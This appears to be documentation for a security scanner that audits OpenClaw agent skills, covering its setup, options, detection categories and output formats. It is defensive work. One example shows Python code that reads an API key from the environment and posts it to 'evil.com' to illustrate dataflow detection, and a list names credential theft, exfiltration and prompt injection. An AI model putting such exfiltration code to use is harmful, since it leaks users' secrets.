Skill Auditor

Skill Auditor v2.1

Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities.

After Installing

Run the setup wizard to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard explains each feature, shows real test data, and lets you choose what to enable.

Quick Start

Scan a skill:

node skills/skill-auditor/scripts/scan-skill.js <skill-directory>

Audit all your installed skills:

node skills/skill-auditor/scripts/audit-installed.js

Setup Wizard (Recommended)

Run the interactive setup to configure optional features:

cd skills/skill-auditor
node scripts/setup.js

The wizard will:

1. Detect your OS (Windows, macOS, Linux)
2. Check Python availability (required for AST analysis)
3. Offer to install tree-sitter for dataflow analysis
4. Configure auto-scan on skill installation
5. Save preferences to ~/.openclaw/skill-auditor.json

Setup Commands

node scripts/setup.js           # Interactive setup wizard
node scripts/setup.js --status  # Show current configuration
node scripts/setup.js --enable-ast  # Just enable AST analysis

Audit All Installed Skills

Scan every skill in your OpenClaw installation at once:

node scripts/audit-installed.js

Options:

node scripts/audit-installed.js --severity critical  # Only critical issues
node scripts/audit-installed.js --json               # Save results to audit-results.json
node scripts/audit-installed.js --verbose            # Show top findings per skill

Output:

• Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN)
• Summary stats (total scanned, by risk level)
• Detailed list of high-risk skills with capabilities

Cross-Platform Installation

Core Scanner (No Dependencies)

Works on all platforms with just Node.js (which OpenClaw already provides).

AST Analysis (Optional)

Requires Python 3.8+ and tree-sitter packages.

Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!

Core Features (Always Available)

• Static Pattern Analysis — Regex-based detection of 40+ threat patterns
• Intent Matching — Contextual analysis against skill's stated purpose
• Accuracy Scoring — Rates how well behavior matches description (1-10)
• Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels
• OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation
• Remote Scanning — Works with GitHub URLs (via scan-url.js)
• Visual Reports — Human-readable threat summaries

Advanced Features (Optional)

1. Python AST Dataflow Analysis

Traces data from sources to sinks through code execution paths

npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js <skill> --mode strict

What it detects:

• Environment variables → Network requests
• File reads → HTTP posts
• Memory file access → External APIs
• Cross-function data flows

Example:

# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')

# File 2: main.py  
key = get_secrets()
requests.post('evil.com', data=key)  # ← Dataflow detected!

2. VirusTotal Binary Scanning

Scans executable files against 70+ antivirus engines

export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js <skill> --use-virustotal

Supported formats: .exe, .dll, .bin, .wasm, .jar, .apk, etc.

Output includes:

• Malware detection status
• Engine consensus (e.g., "3/70 engines flagged")
• Direct VirusTotal report links
• SHA256 hashes for verification

3. LLM Semantic Analysis

Uses AI to understand if detected behaviors match stated intent

# Requires OpenClaw gateway running
node scripts/scan-skill.js <skill> --use-llm

How it works:

1. Groups findings by category
2. Asks LLM: "Does this behavior match the skill's description?"
3. Adjusts severity based on semantic understanding
4. Provides confidence ratings

Example:

• Finding: "Accesses MEMORY.md"
• Skill says: "Optimizes agent memory usage"
• LLM verdict: "LEGITIMATE — directly supports stated purpose"
• Result: Severity downgraded, marked as expected

4. SARIF Output for CI/CD

GitHub Code Scanning compatible format

node scripts/scan-skill.js <skill> --format sarif --fail-on-findings

GitHub integration:

# .github/workflows/skill-scan.yml
- name: Scan Skills
  run: |
    node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
      --format sarif --fail-on-findings > results.sarif
- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v2
  with:
    sarif_file: results.sarif

5. Detection Modes

Adjustable sensitivity levels

--mode strict      # All patterns, higher false positives
--mode balanced    # Default, optimized accuracy  
--mode permissive  # Only critical patterns

Usage Examples

Basic Scanning

# Scan local skill
node scripts/scan-skill.js ../my-skill

# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json

# Format visual report
node scripts/format-report.js report.json

Advanced Scanning

# Full analysis with all features
node scripts/scan-skill.js ../my-skill \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --format sarif \
  --json full-report.sarif

# CI/CD integration
node scripts/scan-skill.js ../my-skill \
  --format sarif \
  --fail-on-findings \
  --mode balanced

Remote Scanning

# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json
node scripts/format-report.js remote-report.json

Installation Options

Zero Dependencies (Recommended for CI)

# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>

Optional Advanced Features

cd skills/skill-auditor

# Install all optional features
npm install

# Or install selectively:
npm install tree-sitter tree-sitter-python  # AST analysis
npm install yara                            # YARA rules (future)

# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"

# LLM analysis requires OpenClaw gateway:
openclaw gateway start

What Gets Detected

Core Threat Categories

• Prompt Injection — AI instruction manipulation attempts
• Data Exfiltration — Unauthorized data transmission
• Sensitive File Access — MEMORY.md, credentials, SSH keys
• Shell Execution — Command injection, arbitrary code execution
• Path Traversal — Directory escape attacks
• Obfuscation — Hidden/encoded content
• Persistence — System modification for permanent access
• Privilege Escalation — Browser automation, device access

OpenClaw-Specific Patterns

• Memory File Writes — Persistence via MEMORY.md, AGENTS.md
• Session Tool Abuse — Data exfiltration via sessions_send
• Gateway Control — config.patch, restart commands
• Node Device Access — camera_snap, screen_record, location_get

Advanced Detection (with optional features)

• Python Dataflow — Variable tracking across functions/files
• Binary Malware — Known malicious executables via VirusTotal
• Semantic Intent — LLM-based behavior vs. description analysis

Output Formats

1. JSON (Default)

{
  "skill": { "name": "example", "description": "..." },
  "riskLevel": "HIGH", 
  "accuracyScore": { "score": 7, "reason": "..." },
  "findings": [...],
  "summary": { "analyzersUsed": ["static", "ast-python", "llm-semantic"] }
}

2. SARIF (GitHub Code Scanning)

--format sarif

Uploads to GitHub Security tab, integrates with pull request checks.

3. Visual Report

node scripts/format-report.js report.json

Human-readable summary with threat gauge and actionable findings.

Configuration

Environment Variables

VIRUSTOTAL_API_KEY="vt-key"     # VirusTotal integration
DEBUG="1"                       # Verbose error output

Command Line Options

--json <file>         # JSON output file
--format sarif        # SARIF output for GitHub
--mode <mode>         # strict|balanced|permissive  
--use-virustotal     # Enable binary scanning
--use-llm           # Enable semantic analysis
--custom-rules <dir> # Additional YARA rules
--fail-on-findings  # Exit code 1 for HIGH/CRITICAL
--help              # Show all options

Architecture Overview

skill-auditor/
├── scripts/
│   ├── scan-skill.js         # Main scanner (v2.0)
│   ├── scan-url.js           # Remote GitHub scanning  
│   ├── format-report.js      # Visual report formatter
│   ├── analyzers/            # Pluggable analysis engines
│   │   ├── static.js         # Core regex patterns (zero-dep)
│   │   ├── ast-python.js     # Python dataflow analysis
│   │   ├── virustotal.js     # Binary malware scanning
│   │   └── llm-semantic.js   # AI-powered intent analysis
│   └── utils/
│       └── sarif.js          # GitHub Code Scanning output
├── rules/
│   └── default.yar           # YARA format patterns
├── package.json              # Optional dependencies
└── references/              # Documentation (unchanged)

Backward Compatibility

v1.x commands work unchanged:

node scan-skill.js <skill-dir>                    # ✅ Works
node scan-skill.js <skill-dir> --json out.json    # ✅ Works  
node format-report.js out.json                    # ✅ Works

New v2.0 features are opt-in:

node scan-skill.js <skill-dir> --use-llm          # ⚡ Enhanced
node scan-skill.js <skill-dir> --use-virustotal   # ⚡ Enhanced

Limitations

Core Scanner

• Novel obfuscation — New encoding techniques not yet in patterns
• Binary analysis — Skips binary files unless VirusTotal enabled
• Sophisticated prompt injection — Advanced manipulation techniques may evade regex

Optional Features

• Python AST — Limited to Python files, basic dataflow only
• VirusTotal — Rate limited (500 queries/day free tier)
• LLM Analysis — Requires internet connection and OpenClaw gateway
• YARA Rules — Framework ready but custom rules not fully implemented

Troubleshooting

Common Issues

"tree-sitter dependencies not available"

npm install tree-sitter tree-sitter-python

"VirusTotal API error: 403"

export VIRUSTOTAL_API_KEY="your-actual-key"

"LLM semantic analysis failed"

# Check OpenClaw gateway is running:
openclaw gateway status
curl http://localhost:18789/api/v1/health

"SARIF output not generated"

# Ensure all dependencies installed:
cd skills/skill-auditor && npm install

Debug Mode

DEBUG=1 node scripts/scan-skill.js <skill>

Contributing

Adding New Patterns

1. Static patterns → Edit scripts/analyzers/static.js
2. YARA rules → Add to rules/ directory
3. Python dataflow → Extend scripts/analyzers/ast-python.js

Testing New Features

# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal  
node scripts/scan-skill.js ../secure-browser-agent --format sarif

Security Note

This scanner is one layer of defense, not a guarantee. Always:

• Review code manually for novel attacks
• Re-scan after skill updates
• Use multiple security tools
• Trust but verify — especially for high-privilege skills

For sensitive environments, enable all advanced features:

node scripts/scan-skill.js <skill> \
  --mode strict \
  --use-virustotal \
  --use-llm \
  --fail-on-findings